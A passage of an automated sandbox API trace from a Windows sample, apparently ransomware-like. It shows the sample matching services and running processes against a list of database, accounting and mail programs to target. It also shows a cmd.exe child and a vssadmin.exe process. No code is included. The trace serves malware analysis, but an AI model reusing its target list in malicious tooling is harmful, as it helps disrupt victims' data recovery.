(lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0059.887] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0059.887] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0059.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0059.887] lstrlenW (lpString="SysMain") returned 7 [0059.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0059.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0059.887] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0059.887] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0059.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0059.887] lstrlenW (lpString="Themes") returned 6 [0059.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0059.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0059.887] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0059.888] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0059.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0059.888] lstrlenW (lpString="TrkWks") returned 6 [0059.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0059.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0059.888] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0059.888] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0059.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0059.888] lstrlenW (lpString="UxSms") returned 5 [0059.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0059.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0059.888] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0059.888] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0059.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0059.888] lstrlenW (lpString="VSS") returned 3 [0059.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0059.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0059.888] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0059.888] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0059.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0059.888] lstrlenW (lpString="WdiServiceHost") returned 14 [0059.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.888] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0059.888] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0059.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0059.888] lstrlenW (lpString="WdiSystemHost") returned 13 [0059.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.888] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0059.888] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0059.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0059.888] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0059.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.889] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0059.889] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0059.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0059.891] lstrlenW (lpString="Winmgmt") returned 7 [0059.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0059.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0059.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0059.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0059.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0059.891] lstrlenW (lpString="WPDBusEnum") returned 10 [0059.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.892] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0059.892] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0059.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0059.892] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5400088 | out: hHeap=0x790000) returned 1 [0059.892] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x33c [0059.894] Process32FirstW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.894] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.894] lstrlenW (lpString="System") returned 6 [0059.894] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0059.894] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0059.894] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0059.894] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0059.894] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0059.894] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0059.894] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0059.894] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.895] lstrlenW (lpString="smss.exe") returned 8 [0059.895] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0059.895] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0059.895] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0059.895] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0059.895] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0059.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0059.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0059.895] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.895] lstrlenW (lpString="csrss.exe") returned 9 [0059.895] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0059.895] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0059.895] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0059.895] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0059.895] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0059.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0059.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0059.895] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.896] lstrlenW (lpString="wininit.exe") returned 11 [0059.896] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0059.896] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0059.896] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0059.896] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.896] lstrlenW (lpString="csrss.exe") returned 9 [0059.896] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.896] lstrlenW (lpString="winlogon.exe") returned 12 [0059.896] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.897] lstrlenW (lpString="services.exe") returned 12 [0059.897] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.897] lstrlenW (lpString="lsass.exe") returned 9 [0059.897] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.897] lstrlenW (lpString="lsm.exe") returned 7 [0059.897] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.898] lstrlenW (lpString="svchost.exe") returned 11 [0059.898] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.898] lstrlenW (lpString="svchost.exe") returned 11 [0059.898] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.898] lstrlenW (lpString="svchost.exe") returned 11 [0059.898] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.898] lstrlenW (lpString="svchost.exe") returned 11 [0059.899] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.899] lstrlenW (lpString="svchost.exe") returned 11 [0059.899] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.899] lstrlenW (lpString="audiodg.exe") returned 11 [0059.899] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.899] lstrlenW (lpString="svchost.exe") returned 11 [0059.899] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.900] lstrlenW (lpString="svchost.exe") returned 11 [0059.900] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.900] lstrlenW (lpString="dwm.exe") returned 7 [0059.900] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.900] lstrlenW (lpString="explorer.exe") returned 12 [0059.900] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.901] lstrlenW (lpString="spoolsv.exe") returned 11 [0059.901] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.901] lstrlenW (lpString="taskhost.exe") returned 12 [0059.901] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.901] lstrlenW (lpString="svchost.exe") returned 11 [0059.901] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.901] lstrlenW (lpString="taskeng.exe") returned 11 [0059.901] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.902] lstrlenW (lpString="taskhost.exe") returned 12 [0059.902] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="johnston-audit-transportation.exe")) returned 1 [0059.902] lstrlenW (lpString="johnston-audit-transportation.exe") returned 33 [0059.902] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="noticed.exe")) returned 1 [0059.902] lstrlenW (lpString="noticed.exe") returned 11 [0059.902] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uploaded.exe")) returned 1 [0059.903] lstrlenW (lpString="uploaded.exe") returned 12 [0059.903] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hardware.exe")) returned 1 [0059.903] lstrlenW (lpString="hardware.exe") returned 12 [0059.903] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="oracle.exe")) returned 1 [0059.903] lstrlenW (lpString="oracle.exe") returned 10 [0059.903] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="creativity.exe")) returned 1 [0059.903] lstrlenW (lpString="creativity.exe") returned 14 [0059.904] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="returnsaturdaystakeholders.exe")) returned 1 [0059.904] lstrlenW (lpString="returnsaturdaystakeholders.exe") returned 30 [0059.904] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edited.exe")) returned 1 [0059.904] lstrlenW (lpString="edited.exe") returned 10 [0059.904] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0059.904] lstrlenW (lpString="custody.exe") returned 11 [0059.904] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aggregate ver hawaii.exe")) returned 1 [0059.905] lstrlenW (lpString="aggregate ver hawaii.exe") returned 24 [0059.905] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="same_oxygen_researchers.exe")) returned 1 [0059.905] lstrlenW (lpString="same_oxygen_researchers.exe") returned 27 [0059.905] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receipt affects separated.exe")) returned 1 [0059.905] lstrlenW (lpString="receipt affects separated.exe") returned 29 [0059.905] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius.exe")) returned 1 [0059.906] lstrlenW (lpString="radius.exe") returned 10 [0059.906] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="extensions.exe")) returned 1 [0059.906] lstrlenW (lpString="extensions.exe") returned 14 [0059.906] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="desperate.exe")) returned 1 [0059.906] lstrlenW (lpString="desperate.exe") returned 13 [0059.906] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professor-mo.exe")) returned 1 [0059.906] lstrlenW (lpString="professor-mo.exe") returned 16 [0059.906] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance.exe")) returned 1 [0059.907] lstrlenW (lpString="guidance.exe") returned 12 [0059.907] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="week.exe")) returned 1 [0059.907] lstrlenW (lpString="week.exe") returned 8 [0059.907] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="brazilian river delay.exe")) returned 1 [0059.907] lstrlenW (lpString="brazilian river delay.exe") returned 25 [0059.907] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sn featured.exe")) returned 1 [0059.908] lstrlenW (lpString="sn featured.exe") returned 15 [0059.908] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="edgar_academic_dvd.exe")) returned 1 [0059.908] lstrlenW (lpString="edgar_academic_dvd.exe") returned 22 [0059.908] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="floor_relate_welfare.exe")) returned 1 [0059.909] lstrlenW (lpString="floor_relate_welfare.exe") returned 24 [0059.909] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.909] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0059.909] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ContinuumLoosely.exe")) returned 1 [0059.909] lstrlenW (lpString="ContinuumLoosely.exe") returned 20 [0059.909] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x950, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.910] lstrlenW (lpString="cmd.exe") returned 7 [0059.910] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.910] lstrlenW (lpString="conhost.exe") returned 11 [0059.910] Process32NextW (in: hSnapshot=0x33c, lppe=0x34bfd34 | out: lppe=0x34bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0059.910] lstrlenW (lpString="vssadmin.exe") returned 12 [0059.910] Process32NextW 